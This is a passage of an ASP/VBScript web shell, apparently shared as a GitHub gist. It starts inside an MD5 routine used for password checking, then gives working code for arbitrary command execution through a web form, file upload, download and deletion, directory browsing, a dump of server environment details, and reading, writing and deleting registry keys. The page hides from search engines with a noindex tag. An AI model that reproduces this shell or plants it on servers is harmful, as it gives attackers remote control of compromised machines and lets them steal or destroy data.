HH c, d, a, b, x(k + 11), S33, &H6D9D6122 | |
HH b, c, d, a, x(k + 14), S34, &HFDE5380C | |
HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 | |
HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 | |
HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 | |
HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 | |
HH a, b, c, d, x(k + 13), S31, &H289B7EC6 | |
HH d, a, b, c, x(k + 0), S32, &HEAA127FA | |
HH c, d, a, b, x(k + 3), S33, &HD4EF3085 | |
HH b, c, d, a, x(k + 6), S34, &H4881D05 | |
HH a, b, c, d, x(k + 9), S31, &HD9D4D039 | |
HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 | |
HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 | |
HH b, c, d, a, x(k + 2), S34, &HC4AC5665 | |
II a, b, c, d, x(k + 0), S41, &HF4292244 | |
II d, a, b, c, x(k + 7), S42, &H432AFF97 | |
II c, d, a, b, x(k + 14), S43, &HAB9423A7 | |
II b, c, d, a, x(k + 5), S44, &HFC93A039 | |
II a, b, c, d, x(k + 12), S41, &H655B59C3 | |
II d, a, b, c, x(k + 3), S42, &H8F0CCC92 | |
II c, d, a, b, x(k + 10), S43, &HFFEFF47D | |
II b, c, d, a, x(k + 1), S44, &H85845DD1 | |
II a, b, c, d, x(k + 8), S41, &H6FA87E4F | |
II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 | |
II c, d, a, b, x(k + 6), S43, &HA3014314 | |
II b, c, d, a, x(k + 13), S44, &H4E0811A1 | |
II a, b, c, d, x(k + 4), S41, &HF7537E82 | |
II d, a, b, c, x(k + 11), S42, &HBD3AF235 | |
II c, d, a, b, x(k + 2), S43, &H2AD7D2BB | |
II b, c, d, a, x(k + 9), S44, &HEB86D391 | |
a = AddUnsigned(a, AA) | |
b = AddUnsigned(b, BB) | |
c = AddUnsigned(c, CC) | |
d = AddUnsigned(d, DD) | |
Next | |
MD5 = WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d) | |
End Function | |
' Destroys all objects and finishes the work. | |
Private Sub StopScript() | |
Set sMD5Hash = nothing | |
Set WShell = nothing | |
Set WNetwork = nothing | |
Set WEnv = nothing | |
Set FSO = nothing | |
Set BinStream = nothing | |
Set sURL = nothing | |
Set sCmd = nothing | |
Set bBgMode = nothing | |
Set bSI = nothing | |
Set sKey = nothing | |
Set sKeyFunc = nothing | |
Set sKeyValue = nothing | |
Set sKeyType = nothing | |
Set sDir = nothing | |
Set sDel = nothing | |
Set sDL = nothing | |
Set sPasswd = nothing | |
Response.End | |
End Sub | |
' Password protection: | |
CheckAuth(sPasswd) | |
' Process multipart form-data: | |
If( InStr(1, CStr(Request.ServerVariables("CONTENT_TYPE")), "multipart/form-data;", 1) > 0 ) Then | |
If Request.TotalBytes > 0 Then | |
UploadFile() | |
End If | |
End If | |
%><% | |
'/* --- File Download --- */ | |
If ( Not IsEmpty(sDL) ) Then | |
On Error Resume Next | |
' Change locale to "en-us": | |
SetLocale(1033) | |
If ( FSO.FileExists(sDL) ) Then | |
Response.Buffer = True | |
Response.Clear | |
Call Response.AddHeader("Content-Disposition", "attachment; filename=""" & FSO.GetFileName(sDL) & """") | |
Call Response.AddHeader("Content-Length", FSO.GetFile(sDL).Size) | |
'Response.Charset = "UTF-8" | |
Response.ContentType = "application/binary" | |
' Try to create ADODB COM object: | |
Err.Clear | |
Set BinStream = Server.CreateObject("ADODB.Stream") | |
If ( Err.Number = 0 ) Then | |
BinStream.Type = 1 : Rem adTypeBinary | |
'BinStream.Charset = "ASCII" | |
BinStream.Open() | |
BinStream.LoadFromFile(sDL) | |
Response.BinaryWrite(BinStream.Read()) | |
Else | |
' Use FSO (slow & buggy method) instead. | |
' Usually works only with text data: | |
Err.Clear | |
Set BinStream = FSO.OpenTextFile(sDL, 1, 0) | |
While Not BinStream.AtEndOfStream | |
Response.BinaryWrite(ChrB( Asc( BinStream.Read(1) ) ) ) | |
Wend | |
BinStream.Close | |
End If | |
'Response.Flush | |
Set BinStream = nothing | |
Else | |
Response.Write("File: " & sDL & " doesn't exist.") | |
End If | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]") | |
Err.Clear | |
End If | |
StopScript | |
End If | |
%><% | |
'/* --- HTML Pages Header --- */ | |
%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> | |
<html> | |
<head> | |
<meta http-equiv="content-type" content="text/html; charset=windows-1252"> | |
<meta name="robots" content="noindex"> | |
<meta http-equiv="expires" content="0"> | |
<meta http-equiv="pragma" content="no-cache"> | |
<style type="text/css"><!-- | |
body { font-family: sans-serif; background-color: #ffffff; color: #000000; } | |
table { border-collapse: collapse; font-family: arial, sans-serif; white-space: pre; empty-cells: show; } | |
td, th { border: 1px solid #909090; font-size: 75%; vertical-align: center; } | |
th { background-color: #9999cc; } | |
tr { background-color: #ccccff; text-indent: 5pt; } | |
tr th { text-indent: 0; } | |
tr.drv { text-indent: 0; } | |
tr.dir { font-weight: bold; } | |
tr.dir:hover { background-color: #eeeeee; } | |
tr.file:hover { background-color: #eeeeee; } | |
td.dir { cursor: hand; } | |
td.file { cursor: hand; } | |
input, select { font-family: verdana, arial; font-size: 11px; text-decoration: none; border: 1px solid #000000; } | |
input:hover, select:hover, input:focus, select:focus { border-color: #bc0000; } | |
input.button { width: 10%; } | |
input.button:hover { color: #444444; } | |
.link { color: 0033cc; text-decoration: none; font-style: oblique; } | |
.link:hover { background-color: #eeeeee; text-decoration: underline; } | |
i {color: #666666; } | |
hr {width: 100%; align: center; background-color: #cccccc; border: 0px; height: 1px; } | |
pre { margin: 0px; font-family: monospace; } | |
//--></style> | |
<% | |
'/* --- Delete item --- */ | |
If ( Not IsEmpty(sDel) ) Then | |
On Error Resume Next | |
If ( Right(sDel, 1) = "\" ) Then | |
If ( FSO.FolderExists(sDel) ) Then | |
FSO.DeleteFolder(Left(sDel, Len(sDel) - 1)) | |
End If | |
Else | |
If ( FSO.FileExists(sDel) ) Then | |
FSO.DeleteFile(sDel) | |
End If | |
End If | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]") | |
Err.Clear | |
End If | |
End If | |
'/* --- Directory Listing --- */ | |
If ( Not IsEmpty(sDir) ) Then | |
%> | |
<title>[ Directory Listing ]</title> | |
<script language="JavaScript" type="text/javascript"> | |
<!-- | |
function go(dir_name) { | |
<% | |
On Error Resume Next | |
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %> | |
if( dir_name == ".." ) | |
document.path.DIR.value = '<%= Replace(FSO.GetFolder(GetCorrectPath(sDir)).ParentFolder.Path, "\", "\\") %>'; | |
else | |
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + dir_name; | |
<% Else %> | |
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + dir_name; | |
<% End If %> | |
document.path.submit(); | |
} | |
function dl(file_name) { | |
<% | |
On Error Resume Next | |
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %> | |
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + file_name; | |
<% Else %> | |
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + file_name; | |
<% End If %> | |
document.download.submit(); | |
} | |
function del(item_name) { | |
<% On Error Resume Next %> | |
if( !confirm("Are you sure you want to delete [" + item_name + "] ?")) | |
return false; | |
<% If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %> | |
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + item_name; | |
<% Else %> | |
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + item_name; | |
<% End If %> | |
document.items.submit(); | |
} | |
--> | |
</script> | |
</head> | |
<body> | |
<%= InsertNavBar() %> | |
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %> | |
<br> | |
<%= "User: <i>" & WNetwork.UserName & "</i>" %> | |
<br> | |
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %> | |
<br><br> | |
<%= ShowDirectoryList(sDir) %> | |
<% | |
'/* --- Shell --- */ | |
ElseIf ( Not IsEmpty(sCmd) ) Then | |
%> | |
<title><%= GetFirstWord(sCmd) %></title> | |
</head> | |
<body> | |
<%= InsertNavBar() %> | |
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %> | |
<br> | |
<%= "User: <i>" & WNetwork.UserName & "</i>" %> | |
<br> | |
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %> | |
<br><br> | |
<b>Shell command:</b> | |
<br> | |
<form name="shell" action="<%= sURL %>" method="POST"> | |
<input type="text" name="CMD" size="45" style="width:100%;" value="<%= Server.HTMLEncode(sCmd) %>"> | |
<br><br> | |
<input type="checkbox" name="CMD_M" id="BG" <%If (bBgMode <> "") Then Response.Write("checked") End If%>> | |
<label for="BG">Background mode</label> | |
<br><br> | |
<input type="submit" class="button" value="Execute"> | |
<input type="button" class="button" value="Clear" onclick="document.shell.CMD.value=''"> | |
</form> | |
<hr> | |
<pre> | |
<% | |
If ( sCmd <> "" ) Then | |
Call ExecuteCmd(sCmd, bBgMode) | |
Else | |
Response.Write("Enter the command.") | |
End If | |
%> | |
</pre> | |
<% | |
'/* --- Server Info --- */ | |
ElseIf( Not IsEmpty(bSI) ) Then | |
%> | |
<title>[ Server Info For: <%= WNetwork.ComputerName %> ]</title> | |
</head> | |
<body> | |
<%= InsertNavBar() %> | |
<center> | |
<br><br> | |
<%= ShowDrivesInfo() %> | |
<br><br> | |
<table border="1" cellspacing="0" cellpadding="0" width="620"> | |
<tr align="center"><th colspan="2">Environment</th></tr> | |
<tr><td>COMPUTER</td><td><%= WNetwork.ComputerName %></td></tr> | |
<tr><td>PATH_INFO</td><td><%= Server.Mappath(Request.ServerVariables("PATH_INFO")) %></td></tr> | |
<tr><td>USER</td><td><%= EmptyToNbsp(WNetwork.UserName) %></td></tr> | |
<tr><td>DOMAIN</td><td><%= EmptyToNbsp(WNetwork.UserDomain) %></td></tr> | |
<tr><td>SERVER_SOFTWARE</td><td><%= Request.ServerVariables("SERVER_SOFTWARE") %></td></tr> | |
<tr><td>SERVER_NAME</td><td><%= Request.ServerVariables("SERVER_NAME") %></td></tr> | |
<tr><td>LOCAL_ADDR</td><td><%= Request.ServerVariables("LOCAL_ADDR") %></td></tr> | |
<tr><td>NUMBER_OF_PROCESSORS</td><td><%= WEnv("NUMBER_OF_PROCESSORS") %></td></tr> | |
<tr><td>PROCESSOR_ARCHITECTURE</td><td><%= WEnv("PROCESSOR_ARCHITECTURE") %></td></tr> | |
<tr><td>PROCESSOR_IDENTIFIER</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_IDENTIFIER")) %></td></tr> | |
<tr><td>PROCESSOR_LEVEL</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_LEVEL")) %></td></tr> | |
<tr><td>PROCESSOR_VERSION</td><td><%= EmptyToNbsp(WEnv("PROCESSOR_VERSION")) %></td></tr> | |
<tr><td>OS</td><td><%= EmptyToNbsp(WEnv("OS")) %></td></tr> | |
<tr><td>COMSPEC</td><td><%= EmptyToNbsp(WEnv("COMSPEC")) %></td></tr> | |
<tr><td>HOMEDRIVE</td><td><%= EmptyToNbsp(WEnv("HOMEDRIVE")) %></td></tr> | |
<tr><td>HOMEPATH</td><td><%= EmptyToNbsp(WEnv("HOMEPATH")) %></td></tr> | |
<tr><td>PATH</td><td><%= Replace(EmptyToNbsp(WEnv("PATH")), ";", "<br> ") %></td></tr> | |
<tr><td>PATHEXT</td><td><%= EmptyToNbsp(WEnv("PATHEXT")) %></td></tr> | |
<tr><td>PROMPT</td><td><%= EmptyToNbsp(WEnv("PROMPT")) %></td></tr> | |
<tr><td>SYSTEMDRIVE</td><td><%= EmptyToNbsp(WEnv("SYSTEMDRIVE")) %></td></tr> | |
<tr><td>SYSTEMROOT</td><td><%= EmptyToNbsp(WEnv("SYSTEMROOT")) %></td></tr> | |
<tr><td>WINDIR</td><td><%= EmptyToNbsp(WEnv("WINDIR")) %></td></tr> | |
<tr><td>TEMP</td><td><%= EmptyToNbsp(WEnv("TEMP")) %></td></tr> | |
<tr><td>TMP</td><td><%= EmptyToNbsp(WEnv("TMP")) %></td></tr> | |
<tr><td>SCRIPT_ENGINE</td><td><%= ScriptEngine %> (Ver.<%= ScriptEngineMajorVersion %>.<%= ScriptEngineMinorVersion %>.<%= ScriptEngineBuildVersion %>)</td></tr> | |
<tr><td>ADODB.STREAM</td><td><% | |
' Try to create ADODB COM object: | |
On Error Resume Next | |
Err.Clear | |
Set BinStream = Server.CreateObject("ADODB.Stream") | |
If ( Err.Number = 0 ) Then | |
Response.Write("Passed") | |
Else | |
Response.Write("Limited download / upload functionality") | |
End If | |
%> | |
</td></tr> | |
<tr><td>LOCALE</td><td><%= SetLocale(0) %></td></tr> | |
</table> | |
<br><br> | |
</center> | |
<% | |
'/* --- Registry Editor --- */ | |
ElseIf ( Not IsEmpty(sKey) ) Then | |
%> | |
<title>[ Registry Editor ]</title> | |
</head> | |
<body> | |
<%= InsertNavBar() %> | |
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %> | |
<br> | |
<%= "User: <i>" & WNetwork.UserName & "</i>" %> | |
<br> | |
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %> | |
<br><br> | |
<b>Registry key:</b> | |
<br> | |
<form name="regedit" action="<%= sURL %>" method="POST"> | |
<input type="text" name="RKEY" size="45" style="width:100%;" value="<%= sKey %>"> | |
<br><br> | |
<b>Value:</b> | |
<br> | |
<input type="text" name="RKEY_V" size="45" style="width:100%;" value="<%= sKeyValue %>"> | |
<br><br> | |
<b>Type:</b> | |
<br> | |
<select name="RKEY_T" style="width: 150px" size="1"> | |
<option value="REG_SZ" <%If ( sKeyType = "REG_SZ" or IsEmpty(sKeyType) ) Then Response.Write("selected") End If%>>REG_SZ</option> | |
<option value="REG_DWORD" <%If ( sKeyType = "REG_DWORD" ) Then Response.Write("selected") End If%>>REG_DWORD</option> | |
<option value="REG_BINARY" <%If ( sKeyType = "REG_BINARY" ) Then Response.Write("selected") End If%>>REG_BINARY</option> | |
<option value="REG_EXPAND_SZ" <%If ( sKeyType = "REG_EXPAND_SZ" ) Then Response.Write("selected") End If%>>REG_EXPAND_SZ</option> | |
</select> | |
<br><br> | |
<b>Function:</b> | |
<br> | |
<input type="radio" name="RKEY_F" value="Read" <%If ( sKeyFunc = "Read" or IsEmpty(sKeyFunc) ) Then Response.Write("checked") End If%>> | |
<label for="RKEY_F">Read</label><br> | |
<input type="radio" name="RKEY_F" value="Write" <%If (sKeyFunc = "Write") Then Response.Write("checked") End If%>> | |
<label for="RKEY_F">Write</label><br> | |
<input type="radio" name="RKEY_F" value="Delete" <%If (sKeyFunc = "Delete") Then Response.Write("checked") End If%>> | |
<label for="RKEY_F">Delete</label><br> | |
<br> | |
<input type="submit" class="button" value="Execute"> | |
<input type="button" class="button" value="Clear" onclick="document.regedit.RKEY.value='';document.regedit.RKEY_V.value=''"> | |
</form> | |
<hr> | |
<pre> | |
<% | |
If ( sKey <> "" ) Then | |
Call RegEditor(sKey, sKeyValue, sKeyType, sKeyFunc) | |
Else | |
Response.Write("Enter the key.") | |
End If | |
%> | |
</pre> | |
<% | |
End If | |
'/* --- HTML Pages Footer --- */ | |
%> | |
</body> | |
</html> | |
<% | |
StopScript 'asd | |
%> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment